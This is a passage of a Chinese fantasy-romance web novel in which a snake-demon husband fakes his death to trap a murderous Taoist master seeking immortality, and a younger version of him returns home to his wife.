林师兄犹豫再三还是敲了敲正泽大师的门,得到回应之后才终于敢进去。 正泽大师的容貌变得比几日前更加衰老,他的手里拿着一把尖利的短剑,上面暗红色的花纹让人看着有股莫名的毛骨悚然,旁边还摆着一个文件夹,林师兄下意识看了一眼,发现是之前来到道观的一男一女。 他们似乎是纪云飞的朋友,由于男方的长相实在漂亮的出挑,林师兄对他的印象很深刻。 可是正泽大师为什么会在这个时候看他们的照片。 “小林,快过来坐,你是有什么事吗?” 正 泽大师随手合上了放在旁边的文件夹,他和蔼邀请林师兄坐下,林师兄见状心里的紧张稍稍放松了些许。 他坐在正泽大师的对面,低声说明了自己的来意,“师父,我这两天身体不太舒服,打算下山去医院看看。” “哦,我记得你心脏做过手术是吧,那是应该多注意注意。” 正泽大师忙着擦拭自己手里的短剑,淡淡道:“但是你应该记得吧,我和你说过,你最近最好还是不要下山,免得有血光之灾。” “可是……” 林师兄闻言似乎还是有些犹豫,正泽大师见状拍了拍他的手,哄骗道:“你放心,我是不会害你的,你想想我说过的话什么时候出过错。” “……” 林师兄低下头,一边是自己信任的老师,一边又是关心自己的师弟,他实在是有些进退两难。 正泽大师似乎看出了他的犹豫,他好声好气把人又给哄了回去,生怕自己这个徒弟也像纪云飞这么一走了之。 “这样吧,小林,你再坚持一下,明天再去医院,我托人帮你预约专家号,你再坚持一晚上,我今晚为你绘制一个护身符,这样双重保障才算是平安。” 林师兄又被正泽大师给说动了,他闻言感激涕零,忙不迭地答应了下来。 可是他却没有看到正泽大师和善的脸色在他关上门的瞬间立马变得阴沉下来。 他苍老的面容上满是不悦,抬手直接把旁边的茶杯摔到了地上。 真是耽误事儿,纪云飞走了也就算了,再走一个他筹划了十五年的计划就又要泡汤。 好不容易找到了那条蛇,他这一次无论如何都不能失手。 正泽大师低头看向了手里的短剑,眼里闪过一丝不易察觉的兴奋和狂热。 一只蟑螂无声无息从他的脚边路过。 ———— 沈寂觉得自己从来没有这么享受过蜕皮期。 兰稚青像一只小蜜蜂一样绕着他不停打转,一会儿过来问问他冷不冷,一会儿过来问他热不热。 大白蛇和小白蛇想尽办法想要吸引兰稚青的注意力,可是兰稚青现在一门心思都放在照顾沈寂上,根本没空搭理它们,只能让它们自己玩。 大白蛇不知道多少次失败,它盯着床上故作虚弱的沈寂,有些鄙夷地吐了吐信子。 装货! 明明就是蜕皮而已,装什么绝症! 骗子蛇!骗宝宝蛇的同情心!不要脸! 大白蛇骂得很脏,兰稚青听不懂,但是沈寂听懂了,然而他直接对此不仅无视,甚至沾沾自喜变本加厉。 小白蛇一直不愿意离开,兰稚青没办法,只能拿平板给它放动画片看,小白蛇趴在垫子上津津有味看着小飞蛇历险记,沈寂扫了它一眼,突然轻咳了几声。 “怎么了,你是不是哪里不舒服了?” 兰稚青有些紧张,连忙凑过去查看沈寂的情况。 沈寂靠在柔软的枕头上,苍白的面容像是残败的花朵一样脆弱又可怜,他轻声道:“我也好想用平板看电视哦。” 兰稚青愣了一下,而后毫不犹豫把小白蛇面前的平板拿走放到沈寂的面前。 小白蛇愣了一下,半响才反应过来发生了什么。 嗯? 妈妈怎么拿走了,蛇还没有看完! 小白蛇想要用尾巴去拿平板,可是却被兰稚青硬生生拖走了。 兰稚青好声好气哄着小白蛇,“好了,乖一点,你去影音室看,或者妈妈重新给你拿个平板看,这个先给爸爸吧。” 不要!它就要妈妈的平板电脑! 小白蛇抗议地拍了拍自己的尾巴,但是平常一向顺着它的兰稚青这次完全没有再心软。 到最后它只能委屈巴巴地缩回角落里,怨恨盯着抢走它平板电脑的沈寂。 大白蛇和小白蛇看起来都不太开心,兰稚青本来想要让它们出去,不要打扰到沈寂休息,可是又担心自己直接把蛇拖出去它们会不高兴。 兰稚青想了想,还是下楼切了一盘苹果上来,想要借此把它们哄出去。 “不要生气了,妈妈给你们喂苹果。” 兰稚青拿起一小块苹果,大白蛇刚刚张嘴,躺在床上的沈寂又幽幽开口道:“如果我也能吃到切好的苹果该有多好啊……” 兰稚青紧急撤回了一块苹果,大白蛇咬了个空,它难以置信地看着兰稚青,却发现兰稚青拿着苹果走向了沈寂。 苹果! 那是宝宝蛇给它切的苹果! 大白蛇气得拍着尾巴,恨不得现在就过去咬死沈寂。 沈寂视若无睹,甚至毫不犹豫吃下了胜利的果实,转头对兰稚青道:“宝宝,苹果好甜哦。” 坏蛇!大坏蛇! 兰稚青眼疾手快按住了焦躁的大白蛇和小白蛇,用尽全力终于把它们拖了出去。 她气喘吁吁地关上房门,罪魁祸首沈寂躺在床上一脸无辜地看着她,完全没有任何要反省的意思。 兰稚青本来想要生气,可是看到沈寂苍白的脸色,她话到嘴边又咽了回去。 “宝宝,我好冷啊,你能上来和我一起睡吗?” “冷的话我给你把……” 兰稚青下意识想要开口拒绝,然而沈寂却抓住她的手轻轻晃了晃,她一时心软,莫名其妙又被沈寂骗到了床上。 沈寂把平板丢到旁边直接把兰稚青抱进了怀里,他轻轻蹭了蹭兰稚青的脸颊,含糊不清道:“宝宝,你真好……” “别说话了,你好好休息吧。” 兰稚青拍了拍沈寂,两人安静得躺在床上,兰稚青觉得自己都有一点昏昏欲睡,可是睡在她身边的沈寂却突然闷哼了一声。 “怎么了?” 兰稚青听到动静瞬间惊醒,她连忙起身查看沈寂的情况,“你是不是又哪里不舒服了?” “好难受……” 沈寂闭了闭眼,轻声道:“我觉得自己马上就要死掉了。” “怎么会这样……” 兰稚青有些手足无措,她慌张道:“要不要送你去医院,我能帮你做点什么吗?” “不用去医院。” 沈寂顿了顿,补充道:“要是有一只可爱的兔兔可以坐到我脸上的话,我想我一定就会痊愈的。” 第82章 第82章今天还可以继续舔舔吗?…… 兰稚青闻言一怔,二话不说直接抓起旁边的玩偶兔子盖在了沈寂的脸上。 沈寂猝不及防被玩偶挡住了视线,他慢吞吞把兔子拂开放到了旁边,“我说的不是妮妮。” 兰稚青假装自己听不懂沈寂的话,她冷哼了一声,自顾自给自己盖上了被子,根本不打算继续理会沈寂。 沈寂手指绕着她的发尾打转,他也不说话,就是一会儿摸摸她的耳朵,一会儿蹭蹭她的脖颈。 兰稚青被他弄得烦躁无比,她把自己的头发拢到一旁,略带怨气道:“你一天到晚能不能正经一点。” 沈寂毫无半分想要反省想法,无辜道:“我都要死掉了,不可以舔舔吗?” 兰稚青微不可察皱了皱眉,忙问道:“可是你不是说只是蜕皮吗?” “但是蜕皮也是有可能会死掉的呀。” 沈寂漫不经心道:“我爸,还有我朋友,以及我朋友的朋友,他们都是在蜕皮的时候死掉的。” “什么?!” 兰稚青闻言猛然坐了起来,紧张道:“这种事情你怎么不早说,万一你也出事了怎么办?” 她对上沈寂的双眼,有些警惕问道:“你不会又在骗我吧?” 沈寂也不反驳,他不知道什么时候把獬豸角放到了抽屉里,闻言也不反驳,直接拿出来重新又说了一遍。 獬豸角没有任何反应,证明沈寂说的是实话。 兰稚青的心顿时又慌了起来,她越想越觉得可怕,生怕沈寂这回就这么运气不好死在这里,眼泪又不自觉地在眼眶里打转,“怎么会这样……难道就不能不蜕皮吗?” “蛇都是要蜕皮的,有点风险也很正常。” 沈寂下巴轻轻搭在了兰稚青的肩头,没忍住又咬住了她的耳垂。 兰稚青真的是被他吓到了,就连沈寂悄无声息轻轻扯开了她侧边的绑带都没有任何反抗,她抬手想要抹眼泪,但是却被沈寂先一步擦掉。 “好了乖乖,不要哭嘛,我只是随口一说,这种概率很小很小的,几乎是不会发生的。” 沈寂本来只是想装个可怜给自己谋点好处,但是兰稚青现在明显关心则乱,她一听到这种话立马开始乱想。 “他们为什么会死掉……他们是怎么死的,是不是蜕皮的时候会有危险?” “我想想……” 沈寂的吻一路向下,随口道:“我爸蜕皮的时候火山喷发了,我朋友蜕皮的时候遇到了地震,我朋友的朋友出轨了另一条女蛇,蜕皮的时候被咬死了。” 兰稚青:“……” “你又在骗我!” 这种不可抗力因素导致的危险算什么危险。 兰稚青气得想要踢他,可是却反而被沈寂握住了脚踝。 “宝宝,我没有骗你啊,我就是在实话实说。” 沈寂如愿以偿吃到了兔兔,兔兔最开始还顽强抵抗,但是很快又舒服得软了下来,哼唧着夹紧了大腿。 室内的 温度在不断攀升,兰稚青觉得自己的呼吸都变得越来越急促,然而也正是在她即将彻底到达顶峰的瞬间,一道刺耳的电话铃声却突然响了起来。 “有电话……” 兰稚青混沌的大脑陡然间清醒过来,她吓了一跳,下意识想要往后缩。 沈寂本来只差最后一步就把兔兔吃进肚子里了,结果却突然被一通电话给打断了,他微不可察地皱了皱眉,完全不想搭理这通电话。 “是纪云飞打过来的……” 兰稚青手忙脚乱推开沈寂,下意识想要去拿放在旁边的平板。 沈寂听到纪云飞的名字更是恼怒,为了不像之前一样被电话打扰,他都特地把手机放在外面,结果纪云飞这个脑残玩意打正常电话打不通,就用社交账号给兰稚青打电话。 “不用管他,他就是个神经病。” 沈寂直接先兰稚青一步按下了挂断键,又把兔兔抓回来二次烹饪。 “……怎么不接电话。” 纪云飞站在急救室外眉头紧皱,急救室牌子刺眼的红色灯光让他的心都悬了起来。 旁边还有几个白龙山道观的道士,看到纪云飞急得团团转,他们好心道:“云飞,先坐下吧,小李肯定会没事的。” “王师兄,李师兄到底是怎么了,你们两个不是住在同一个屋里吗,他为什么会突然受了重伤?” 一个小时前,他正在家里改稿子,结果突然收到了李师兄打来的电话,他还没来得及问清什么事,便听到了李师兄一声惨叫。 他第一时间联系了道观里的其他人,结果却发现李师兄头部遭到重击倒在了地上,整个人早就已经失去了意识。 道观里的其他人紧急把李师兄送到了医院,可是当时发生的情况却没有人知道。 “云飞,你问我们我们也实在不清楚。” 王师兄闻言摇了摇头,解释道:“你走了之后,小李说担心林师兄,所以搬过去和林师兄住了。” 纪云飞闻言连忙追问,“那林师兄呢?” “不知道,我们赶到的时候林师兄已经不在了。” 纪云飞闻言眉头皱得更紧,他刚打算继续追问下去,接到报警的警察就一直赶了过来。 “你好,我们是警察,伤者现在还在抢救中吗?” “对,现在还在抢救。” 警察点了点头,问道:“我们同事现在已经赶到现场去调查了,你们方便和我们说一下伤者的信息和案发当时的具体经过吗?” 纪云飞见状连忙开口道:“是这样的警察同志,我十点半左右接到了李师兄的电话,当时他惨叫了一声,电话就被挂断了……” 警察闻言微微一顿,“不好意思,我先打断一下,你们是白龙山的道士对吧,请问这位李师兄全名是什么?” 纪云飞愣了一下,老老实实道:“李师兄啊。” 警察有些无语,耐心重复了一遍自己的问题,“……小伙子,你是不是没明白我的意思,我是在问你们这位李师兄的全名。” 纪云飞点了点头,也跟着重复了一遍自己的答案,“李师兄的全名就叫李师兄。” “……行,是师兄师弟的师兄?” “对。” 警察把纪云飞和其他人的描述整合了一下,总结道:“所以说你们现在都联系不上和伤者住在同屋的林森了?” “对,我们打了好几次电话,也让人在山上找了,但是都没找到林师兄的人影。” “不好意思,我来晚了,小李的情况怎么样了?” 正当几人还在复述当时发生的情况,正泽大师终于姗姗来迟,他的神色隐隐有些焦急,看到众人连忙问道:“手术还没有结束吗?” 警察看到正泽大师明显一愣,疑惑问道:“您是?” 旁边的道士连忙介绍道:“这是我们师父,正泽大师。” “正泽大师……您姓正?” “我姓黄,叫黄义则,这是我的身份证件。” 正泽大师拿出自己的身份证递了过去,警察低头看了一眼,不太确定道:“您老……都九十了啊?” 面前的老头精神奕奕,看起来最多也就不过六七十的岁数,可是身份证上的年纪也实在做不了假。 警察有些震惊,只能把身份证又退给了正泽大师,“老人家,您保养的可真是够好的啊,今天发生的事情您这边有什么线索吗?” “线索倒是谈不上……只不过这两天小林一直在和我说小李要带他下山治病,不过他们两个似乎是吵架了……” “你胡说!林师兄怎么可能会对李师兄下手!” 正泽大师的话还没来得及说完,气愤至极的纪云飞就已经开口打断了他的话,对于林师兄的品行他是再了解不过了,他绝对不会做出这种杀人未遂私自潜逃的事。 “云飞,你冷静一下,我只是说他们吵架,没有说就是小林下的手。” 正泽大师对于纪云飞的指控始终淡定自如,纪云飞现在情绪激动,旁边的几个师兄连忙把他拉开。 纪云飞没办法,他看着正泽大师和警察交谈,冷着一张脸甩开了其他人,拿着手机去旁边继续打电话。 他有一种直觉,总觉得今天这件事和正泽大师脱不了干系,所以他才会在事发的第一时间给沈寂打电话,想要确定沈寂和兰稚青有没有出事。 现在正泽大师过来对警察说这些似是而非的话,他便更肯定这事和他脱不了干系。 “怎么都不接电话……” 纪云飞连打了好几通电话都没打通,他急得恨不得用头撞墙,正急得团团转的时候,正泽大师却突然出现在了他的面前。 “你在给沈寂打电话?” 正泽大师似乎是知道纪云飞的所作所为,他走到纪云飞的身旁坐下,和蔼道:“云飞,你还在生师父的气啊。” 纪云飞不太想搭理他,他冷声问道:“你到底把林师兄怎么样了?” “今天的事情可真的和我没关系,你要问也应该去问那只蛇妖。” 正泽大师从自己的衣兜里拿出一个塑料袋,解开递到了纪云飞的面前,里面是一小块灰白色的蛇蜕,上面鳞片的纹路还清晰可见。 “这是我在小林他们房间找到的,你说这会是谁留下的。” 纪云飞闻言看了一眼,他看到正泽大师衣领上隐隐有两根须须在动,他眉头紧皱,有些嫌弃地和正泽大师拉开了距离。 老头子心肠坏也就算了,咋还这么埋汰,可千万别爬到他身上。 正泽大师也不恼,他自顾自道:“这种事情本来我并不想和你说的,怕你听了心里害怕,我听说你最近给小林出了不少医药费,这钱哪来的,沈寂给的吧?” “你到底想说什么?” “妖就是妖,它们是兽类,就算是修成了人形,那也终究还是和人不一样。” 正泽大师叹了口气,冷声道:“尤其是在蜕皮期,蛇妖需要更多的进补,他们就会选择杀人吃人,你以为我一直追着他不放只是为了长生不老吗,我实话告诉你吧,我确实想要永生,但也想除了这个祸害。” “那个已经进监狱的路锡鸣你知道吧,你和他接触得多,你应该比我清楚,你想想他是怎么变成这样的。” “路锡鸣那是自己活该。” “是,他是活该,他自己造孽,可是小林和小李呢,难道他们也是活该吗?” 纪云飞脸色微沉,他不会轻易怀疑自己的判断,即使正泽大师现在在自己的面前装得再怎么无辜,他也还是记得当时他差点掐死自己的恐怖神色。 只凭此一点,他便不会相信正泽大师的这些说辞。 纪云飞毫不犹豫起身离开,正泽大师见状也不恼,他拿出手机翻出一个号码拨了出去。 纪云飞不愿意帮忙不要紧,他自然另有别的安排。 “喂,路先生啊,你们那边都准备妥当了吗?对,就是照片上那个女生……当然是真的了,您二位想想令郎是怎么变成这样的 ……是,只要按照我说的做,你们的运势肯定会变好……” 正泽大师对着电话那头拼尽全力的忽悠,他根本不在乎自己的这场计谋可能漏洞百出,后续还有可能会被警察追查。 他现在剩下的时间只剩下这短短的几天,只要事情一成,他立马拍拍屁股出国走人,倒是把身份一换,从此再无后顾之忧。 至于被他哄骗利用的人,他们的下场和他有什么关系。 沈寂把兔兔从里到外吃了一遍,这才终于腾出空来打电话去把纪云飞骂得狗血淋头。 纪云飞刚刚接起电话迎来的就是一通痛骂,他只能见缝插针把今天发生的事情和沈寂复述了一遍,沈寂闻言若有所思,他挂断了电话,又看到了刚刚发过来的文件,他沉思片刻才回到房间。 兰稚青躺在床上昏昏欲睡,旁边两条蛇趴在她身上滚来滚去,沈寂突然把蛇推到一旁,伸手抱住了兰稚青。 兰稚青哼唧了一声,小声道:“我困了……” “宝贝,先别睡,我有件事要告诉你……” 沈寂凑到兰稚青的耳边小声嘀咕了几句,小白蛇有些好奇地凑过去,试图挤进他们中间。 坏蛇在和妈妈说什么悄悄话,它也要听! “一定要这样吗?” 兰稚青听完沈寂的话有些诧异,难以置信道:“这样是不是不太好?” 什么事什么事,快点和蛇说! 小白蛇焦急地吐着信子,盘在旁边的大白蛇也有些好奇,时刻注意着这边的情况。 可是沈寂非要吊着他们的胃口,兰稚青一脸忧愁地躺回床上,明显也不愿意多说,两条蛇急得团团转,恨不得现在就把沈寂暴打一顿。 沈寂和兰稚青晚上在家里偷偷说悄悄话,白天更是一起早早就出门离开,神神秘秘的也不知道到底在做什么。 沈寂今天有课,而兰稚青则是要去学校和论文导师面谈,两人在A大门口分道扬镳,兰稚青扫了一眼手机上的短信,她没有直接去学校,反而是按照短信上的地址去了学校附近的巷子。 【你的丈夫沈寂是蛇妖,我这里有他之前杀人的证据,请到此处和我面谈。】 说真的,这短信真的有点蠢。 兰稚青觉得发短信的人肯定没有下载过国家反诈APP,要不是因为沈寂的要求,她才不会这么配合过来,哪怕对方发个免费发鸡蛋的短信都比这个强吧。 而且沈寂说让她到巷子附近找一只大黄狗还有一只奶牛猫…… 兰稚青环视了一圈,周围空荡荡的一片,完全不见半个狗影和猫影。 而也就是在她寻找的瞬间,一双手突然从暗处伸出来,捂着她的嘴把她拖上了角落里的车。 兰稚青难以置信地看着眼前陌生的一男一女,好不容易才挣脱开他们的束缚,她的手摸到了手机的开关机键,有些警惕问道:“你们想干什么?” 短发女生冷声问道:“你刚刚在这附近鬼鬼祟祟的做什么?” “……我在找东西。” “找什么东西?” “一只奶牛猫。” “你不用找了,我就是。” “哈?” 兰稚青愣了一下,还没意识到发生了什么,旁边的圆脸男就迫不及待递出了自己的名片。 “哎沈太太,您好您好,我是沈先生的律师。” “额……苟律师,你们要做什么?” 兰稚青有些摸不到头脑,却见下一秒奶牛猫拿出一捆绳子把她结结实实绑了起来,然后拿出手机咔嚓咔嚓拍了好几张照片,直接给电话那头的人发了过去。 苟律师连忙帮兰稚青松绑,笑嘻嘻道:“不好意思,刚刚冒犯了。” “……能不能先告诉我发生了什么?” “也没什么,有两个人类找了我的小弟要绑架你,他们儿子之前经常欺负我的小弟小妹们,子不教父之过,一会儿我就要去暴揍他们一顿。” 奶牛猫义愤填膺,说话也说的颠三倒四,旁边的苟律师连忙帮着解释了几句,兰稚青再结合沈寂昨晚说的内容,终于弄明白事情的经过。 正泽大师让路锡鸣的父母绑架她,借此来要挟沈寂,而沈寂正好需要一个机会假死,便打算顺便利用一下这个机会。 路锡鸣的父母自己不敢出面,所以找了几个小混混,小混混是奶牛猫的小弟,奶牛猫拍了她被绑架的照片给路家夫妇交差,好让沈寂的计划继续进行,但是由于路锡鸣之前在学校里虐猫虐狗,奶牛猫心里愤慨,所以准备一会儿去暴揍路家夫妇。 好累,原来当猫猫狗狗蛇蛇也有这么多的烦恼。 兰稚青从最开始的诧异到现在已经完全接受良好。 谁知道哪天路上和自己擦肩而过的人不是小猫小狗变的呢。 兰稚青幽幽叹了口气,问道:“接下来我们要做什么?” “哦,等着去给沈先生收尸啊。” “?” ———— 正泽大师从路家夫妇那里拿到了照片,他第一时间发给了沈寂,要求他和自己在约定好的地方见面。 沈寂开了三个小时的车才终于到达目的地,他甚至还特地环视了一圈四周,对自己的这个下葬点非常满意。 这里是一处悬崖,下面就是湍急的水流,风景秀丽,是一块难得的风水宝地。 正泽大师在这里布下了阵法,他一直躲在暗处,看到沈寂出现整个人都眼前一亮,下意识握紧了自己手里的匕首。 这把匕首上还沾着林森的鲜血,他用纯阳之人的血给这把可以斩妖的刀开了光,花费了十五年的时间才终于走到了这一步,只要他一刀下去,他就可以吃掉这条蛇的血肉,从此长生不老。 正泽大师一步步靠近了沈寂,沈寂听到他的脚步声轻轻回头,他看到了正泽大师的面容,并没有问他别的,只是淡淡道:“我见过你,十五年前在F市,你和你师父一起来的。” “是啊,我师父没撑到那个时候,可是我却活到了现在。” 正泽大师不打算掩饰自己的来意,他觉得自己的内心被一股奇怪的狂热所包围,在这种狂热之下,他甚至没有办法冷静思考,他仿佛看到了自己的青春在向自己招手,所以毫不犹豫拿着手里的短剑朝沈寂刺了过去。 沈寂没有躲开,他任由那把剑刺进了自己的胸膛,他下意识后退了几步,直接踩空跌落了悬崖。 正泽大师愣了一下,他下意识伸手想要去抓住沈寂,可是却抓了个空,他唯一握住的,就是自己手里的短剑。 “快!在哪里!快把他抓住!” 几个匆匆赶来的警察连忙冲上前来,将正泽大师围进了一个小小的包围圈,冷声道:“黄义则!你还不赶紧把刀放下!” 警察怎么会出现在这里,这和他计划的不一样啊。 正泽大师呆在原地,有些茫然地盯着自己手里的短剑。 不对,怎么会这样…… 这一切都明显不对,不应该是这样的…… 他觉得自己好像是一只提线木偶,配合着演完了一段完全不属于自己的剧情。 啪嗒—— 一滴雨珠滴落到了他的身上,正泽大师如梦初醒,他盯着剑尖滴落的鲜血,他疯了一样举起了那把短剑舔舐着上面的血液。 只要喝了血,只要他能喝了沈寂的血,那他就一定会重返青春…… 几个警察看到她疯癫的状态都吓了一跳,他们对视了一眼,连忙趁着这个机会把人拿下。 天气预报报道的暴雨准时而至,警察冒雨在山下搜索,可是暴雨让搜查难度变得极大,再加上山上有山体滑坡的倾向,他们只能暂时停止搜寻。 …… “泥石流?” 兰稚青本来还在等着沈寂的消息,闻言猛然抬起了头,难以置信看向苟律师,“你是说沈寂遇到了泥石流?” “是,今天暴雨,我们也没想到会出这件事。” 兰稚青脑中突然想到了沈寂遭遇火山喷发的爹,遇到地震的朋友,以及出轨被咬死的朋友的朋友。” 那……那怎么办?” “目前还没有消息,只能再等等了。” 苟律师斟酌了一下,还是开口道:“不过葬礼还是要按时举行。” 大白蛇和小白蛇一左一右趴在兰稚青的腿上,闻言有些高兴地吐了吐信子。 大坏蛇死掉了? 那是好事啊! 小白蛇抬头去蹭兰稚青,可是兰稚青满脸泪水,抱着它痛哭出声。 妈妈为什么哭了,喜极而泣吗? 小白蛇不理解,它乖乖任由兰稚青抱着,大白蛇有些紧张地用尾巴勾着她的手腕,试图借此安慰兰稚青。 兰稚青从来没有觉得自己像现在这么无助,意外来的太过突然,她完全措手不及。 她觉得自己像是一个木头人一样,被人套上了出席葬礼的衣服,以亡者家属的身份出席了一场本来什么都没有发生的葬礼。 沈寂死亡的消息太过突然,参加葬礼的人也都难以置信,他们有人想要过来问候安慰兰稚青,但是都被苟律师客气地回绝。 兰稚青自己一个人坐在角落里,她摸了摸自己脖子上冰凉的珍珠项链,沈寂说过的话仿佛还在耳边。 “对不起……” 纪云飞站在兰稚青的旁边,他面色苍白,低声道:“这件事情都是我不好……” 如果他当初没有听正泽大师的话去找蛇妖,那沈寂也不会被盯上,更不会死于非命。 现在正泽大师被公安机关逮捕,可是沈寂却还是下落不明,意外发生最佳的救援时间是四十八小时,纪云飞不明白为什么兰稚青要这么急着办葬礼,但他还是开口道:“或许……或许沈寂没事呢。” 兰稚青觉得自己头疼欲裂,她眼睛已经哭肿,现在唯一抱着的念头就是沈寂这次顺利脱险。 她没有力气去回答纪云飞的话,只能靠在椅子上努力让自己的情绪冷静下来。 纪云飞不知道自己眼下该做些什么,只是兰稚青放在旁边的手机突然响了起来,她闭了闭眼,轻声道:“麻烦帮我把手机拿过来。” 纪云飞闻言连忙答应下来,他顺便帮兰稚青倒了一杯温水,安慰道:“你老公吉蛇自有天相,他肯定不会有事的。” 兰稚青打开手机扫了一眼上面的内容,整个人顿时被一口温水给呛住,捂着嘴不停咳嗽了起来。 纪云飞吓了一跳,连忙帮她拍了拍背,视线不经意扫过了兰稚青放在旁边的手机,只见短信页面上写着: “乖乖,你哭得好漂亮,今天还可以继续舔舔吗?” “……” 我靠,葬礼发灵异短信。 沈寂不仅剽窃他的创意,竟然还把悬疑小说改成了yellow小说?! 第83章 第83章高龄老蛇搞诈骗 “黄义则,你为什么要谋杀林森和沈寂?” 两名负责审讯的警察眼神锐利地审视着面前的正泽大师,一个高龄九十多岁的老人连杀了两人,沈寂的尸体他们还没有找到,但是林森的尸首却已经被警方在白龙山后山发现。 李师兄目前已经被抢救了回来,根据他的证词,当天晚上正泽大师偷偷潜入了林森的房间准备杀害林森,没想到李师兄搬到林森的房间和他一起住,正泽大师杀害林森的行为被李师兄发现,所以干脆也对李师兄痛下杀手。 而警察经过了进一步的调查,又查出正泽大师唆使路家夫妇绑架兰稚青,借此要挟沈寂去案发地点见面。 所有的线索都已经串了起来,可是原因呢,他杀人的原因到底是什么。 “不是我干的,不是我干的……我没有杀沈寂……事情不应该是这样的……” 正泽大师的容貌在短短几天的时间迅速衰败,他脸上沟壑纵横,整个人都像是失去神智一样,不停喃喃自语说一些别人都听不懂的话。 明明这一切都不应该发生才对,按照他的计划,他应该挖下沈寂的血肉,之后坐飞机离开重新开始自己新的人生,就算警察发现了他的所作所为,也没办法奈何于他。 可是现在呢,他当着那么多警察的面一刀捅进了沈寂的心脏,导致沈寂跌落悬崖,而他则是被刑拘侦讯。 这和他想的不一样,这和他计划好的完全不一样! 正泽大师至今都不知道自己为什么会直接拿刀刺向沈寂,他就像是一个提线木偶一样做了自己不该做的事情。 “我不知道,我什么都不知道……” 看到正泽大师这幅模样,在场的两名警察对视了一眼,彼此都在自己的眼中看到了无奈。 这个案子说实话实在是有些难办,故意杀人,教唆绑架,甚至还有非法集资,这位“正泽大师”可真算得上是劣迹斑斑。 可是偏偏这位大师年纪实在是太大了,别说是入狱了,他们就连审讯都不敢用力过猛,生怕一个不小心,老头子就倒在审讯室里了。 正泽大师茫然盯着虚空里的一点,他看到一条巨大的白蛇缓缓出现在自己的面前,毫不犹豫朝他张开了血盆大口。 “啊!” 正泽大师猛然发出了一声尖叫,他像是疯了一样挥舞着自己的手臂,嘴里发出诡异的嗬嗬声,像是被什么东西附身了一样。 警察见状吓了一跳,他们没办法在继续审下去,只能暂时作罢。 纪云飞受到警察的消息连忙去旁边打了个电话,等到回来的时候早就已经不见兰稚青的身影。 他愣了一下,有些奇怪向苟律师问道:“不好意思,请问你有看到兰稚青吗?” “她已经回家了。” 苟律师一边在手机上回复着消息,一边随口道:“纪先生,这边的葬礼就先交给你了,一会儿你去找我助理领劳务费哈。” “不是……等一下,您这是要去哪里?” 纪云飞闻言一怔,他连忙挡住了苟律师的去路,“什么叫葬礼交给我啊?” 先别说沈寂现在还没死透,哪怕就是沈寂真的死了,可是他只是被沈寂这个奴隶主压迫的小写手,怎么就轮到他主持葬礼了。 “我要去接我们小老板,旁的不用你干,你就是负责照看一下现场,有事给我打电话就行。” 苟律师比了一个手势,“劳务费这个数。” “……好的,您请慢走。” 纪云飞再度屈服在了金钱的威势之下,老老实实当起了葬礼的门童。 兰稚青在收到短信的第一时间就赶回了家,大白蛇和小白蛇都在家里等着她,看到兰稚青回来立马高兴地翘起了尾巴。 兰稚青紧紧抱着两条蛇,觉得自己心里的焦躁终于慢慢平复了下来。 她在短短几个小时的时间里经历了大悲和大喜,现在的心情实在是有些复杂。 可是不管怎么样,只有沈寂还活着那就是好消息。 兰稚青试图给沈寂打电话,可是电话打过去就是忙音,她给沈寂发去的消息也没有收到回复,她没有办法,只能回到家里等着沈寂回来。 小白蛇用尾巴去碰兰稚青的手腕,想要让她陪着自己玩,可是兰稚青却没有什么心情。 “一会儿爸爸回来妈妈再陪你玩好不好。” 兰稚青摸了摸小白蛇的脑袋,大白蛇似乎有些莫名的焦躁,兰稚青习惯性地也摸了摸它,可是大白蛇却还是没有安静下来。 它闻到了坏蛇的味道。 超级无敌大坏蛇要来了。 “怎么了,你是不是不舒服呀?” 兰稚青本来还想仔细检查一下大白蛇,可是恰好听到了门铃响起,她悬着的心终于放回了肚子里,连忙先松开了大白蛇,一脸惊喜地起身去开门。 “你怎么不直接按指纹……” 兰稚青看到了门外站着的人,她愣了一下,微不可察地后退了一步。 站在她面前的人长着一张她最熟悉的漂亮面容,不对,他看起来要更加年轻,可是却总让她有一种既熟悉又陌生的诡异感。 “你是兔兔宝贝吗?” 门外的“沈寂”微微低头打量着她,他的 眼睛极为明亮,看起来像不谙世事的小少爷,他有些腼腆地笑了笑,“我可以进去吗?” 兰稚青闻言一怔,她还有些犹豫,可是站在沈寂身后的苟律师却笑眯眯道:“夫人,这是小老板呀,你们可以再熟悉熟悉……” 他几乎是强推着让兰稚青把沈寂请进了家门,自己却松了口气,逃似的逃离了现场,生怕自己再进一步的纷争之中。 老公死而复生之后变得更年轻了。 兰稚青知道自己面前的人就是沈寂,可是她还是有一种莫名的陌生感,好像他们之间的关系又回到了刚刚开始交往的时候。 沈寂不仅人变得年轻了,他似乎还失去了一部分的记忆,他仔细环视了一圈面前的环境,视线最终还是落到了兰稚青的身上。 他的瞳孔因为兴奋而变为竖瞳,可是面上依旧是一副无辜的作态,让人丝毫看不出任何的破绽。 好可爱,整个家里都有兔兔香香的味道。 大白蛇和小白蛇不约而同警惕地弓起了身子 果然是坏蛇! 比本体还坏的大坏蛇! 沈寂扫了一眼两条蛇,他弯了弯眉眼,慢条斯理道:“怎么还有两个分身在这里。” “……什么?” 兰稚青愣了一下,干巴巴道:“什么分身?” “本体没有告诉你吗,这两条蛇是他的分身,当然我也是。” 这个沈寂似乎格外坦诚,他抓着小白蛇介绍道:“这是一百年的分身,所以看起来傻傻的。” 坏蛇!它才不傻! 小白蛇气得想要咬他,可是沈寂转而又抓起了旁边的大白蛇,“这是两百年的分身,所以稍微聪明一点点。” 大白蛇用尾巴拼命拍他,沈寂慢吞吞把她松开,侧头笑意盈盈地看着兰稚青。 兰稚青还沉浸在巨大的震惊之中,半晌都没回过神来。 她以为沈寂是老公,大白蛇小白蛇是儿子,妮妮是女儿,他们是幸福的一家五口。 可是现在却告诉她,她的两个儿子就是她的老公,她的老公就是她的儿子,她竟然当了自己的婆婆?! 兰稚青觉得自己眼前一紫,前途简直一片完犊紫。 所有的一切疑点都在这一刻串联起来了,怪不得他们三条蛇身上都是同样的香味,也怪不得他们都喜欢吃苹果,怪不得他们三个长得这么像。 “那你呢……你是几岁的?” 沈寂闻言眨了眨眼,笑眯眯道:“我已经六百岁了哦。” 兰稚青难以置信,震惊道:“可是沈寂不是才四百岁吗?!” 沈寂给她比了四个手指,难道不是四百岁是四位数吗? 高龄老蛇怎么还搞诈骗?! 沈寂有些无辜,“那可能他是在骗你吧,有的蛇就是越老越坏的。” 第84章 第84章这样就没了吗 兰稚青觉得自己头晕脑胀,一时半会儿都没有反应过来到底发生了什么。 